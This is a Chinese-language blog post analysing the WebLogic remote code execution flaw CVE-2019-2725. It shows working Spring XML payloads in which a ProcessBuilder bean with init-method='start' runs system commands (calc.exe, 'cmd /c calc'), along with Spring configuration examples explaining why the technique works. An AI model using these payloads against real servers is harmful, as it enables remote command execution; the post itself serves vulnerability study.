Weblogic-CVE-2019-2725-通杀payload

0x01 概述

首先廖大神在自己的博客里提到了通过

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,可以构造无视jdk版本限制的payload,本着学习的心态搞一搞,看看为啥会这样。

0x02 深入

这篇文章中看到,构造方法可以参考这个CVE-2017-17485。

先看看这个漏洞的payload。

再看看如何利用这个漏洞,我们发现这个漏洞利用方式是通过org.springframework.context.support.FileSystemXmlApplicationContext这个方法去加载恶意xml文件,而在上面的xml文件中通过spel表达式可以触发相关payload。

回到本次 weblogic 上, weblogic 也有这个相关构造函数,所以我们可以使用这个payload先试试,测试过程中发现无法使用,深究一下看一下代码,我们发现 weblogic 解析 xml 文件的类com.bea.core.repackaged.springframework.beans.factory.support.BeanDefinitionValueResolver

我在这里打一个断点,这样进入

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext之后的操作就很明显。

这个地方和 CVE-2017-17485 的payload触发位置相比,少了一个表达式解析方法

Object valueObject=evaluate(TypedStringValue)

也就是说这里xml没办法通过类似对 #{ pb.start() } 开始针对 pb 这个 bean 进行操作。所以说这里需要调整理一下 payload ,我调整后的结果如下所示。

1
2
3
4
5
6
7
8
9
10
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg value="calc.exe" />
</bean>
</beans>

关于在spring 容器初始化 bean 和销毁前所做的操作定义方式有三种:
第一种:通过@PostConstruct 和 @PreDestroy 方法 实现初始化和销毁bean之前进行的操作

第二种是:通过在xml中定义init-method 和 destory-method方法

第三种是: 通过bean实现InitializingBean和 DisposableBean接口

CVE-2017-17485 这个漏洞的触发 payload 用的是 spel 表达式的方法注册 bean ,而我们这里由于缺少相关解析文件无法使用 spel 表达式,这里可以使用 init-method 方法来解决这里这个问题,可以先看一个例子

测试程序如下:

1
2
3
4
5
public class TestInitMethod{
public void testInit(){
System.out.println("test init-method");
}
}

配置文件如下:

1
2
//spring.xml
<bean id="testInitMethod" class="com.TestInitMethod" init-method="testInit"></bean>

Main主程序如下:

1
2
3
4
5
public class Main {
public static void main(String[] args){
ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("spring.xml");
  }
  }

打印如下结果:

1
test init-method

这里为什么没办法支持 spel ,我的想法可能是因为spring版本过低,所以没办法支持spel表达式。
当然FileSystemXmlApplicationContext是继承AbstractXmlApplicationContext

ClassPathXmlApplicationContext也是继承AbstractXmlApplicationContext

所以理论上这个类也可以,试试看,OK确实也可以。

2019.05.31更新:

这里再补充一下细节

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>

我们可以看到构造器里面的payload用了<list>标签,这里就有一个疑惑,为什么要这样呢。首先再看看一个东西spring的依赖注入有两种方式,一种是constructor-arg(通过构造函数注入),另一种是: property(通过setxx方法注入)。

spring中 constructor-arg 构造方法注入。在容器中生成bean时,用到 constructor-arg 构造注入时,该类必须要有相对应的构造方法,如果 constructor-arg 有参数,那么类中必须写有相对应参数的构造方法

1
2
3
4
5
6
// 使用构造子注入时,则使用constructor-arg子标签,来指定构造函数的参数。   
<bean id="provider" class="com.apress.prospring.ch4.ConfigurableMessageProvider">
<constructor-arg>
<value>This is a configurable message</value>
</constructor-arg>
</bean>
1
2
3
4
5
6
7
8
9
//当构造函数有多个参数时,可以使用constructor-arg标签的index属性,index属性的值从0开始。   
<bean id="provider" class="com.apress.prospring.ch4.ConfigurableMessageProvider">
<constructor-arg index="0">
<value>first parameter</value>
</constructor-arg>
<constructor-arg index="1">
<value>second parameter</value>
</constructor-arg>
</bean>

当然为了带入集合属性,Spring提供了list,map,set和props标签,分别对应List,Map,Set和Properties。而我们的 java.lang.ProcessBuilder 自然是支持 List 的参数传入,并且存在相关的构造方法,因此就和这个spring一拍即合。

0x03 后话

  由于最近工作繁忙,导致学习时间极度拉下来,这个方法已经能够命令执行了,就不继续构造下一步payload,大家可以试试。这个方法也有缺陷,如果服务器无法主动发起请求的情况,也是没办法达到效果的,这个weblogic还是有很多地方可以学习的。

0x04 Reference

Spring配置文件中指定init-method属性的作用
CVE-2019-2725 分析
WebLogic RCE(CVE-2019-2725)漏洞之旅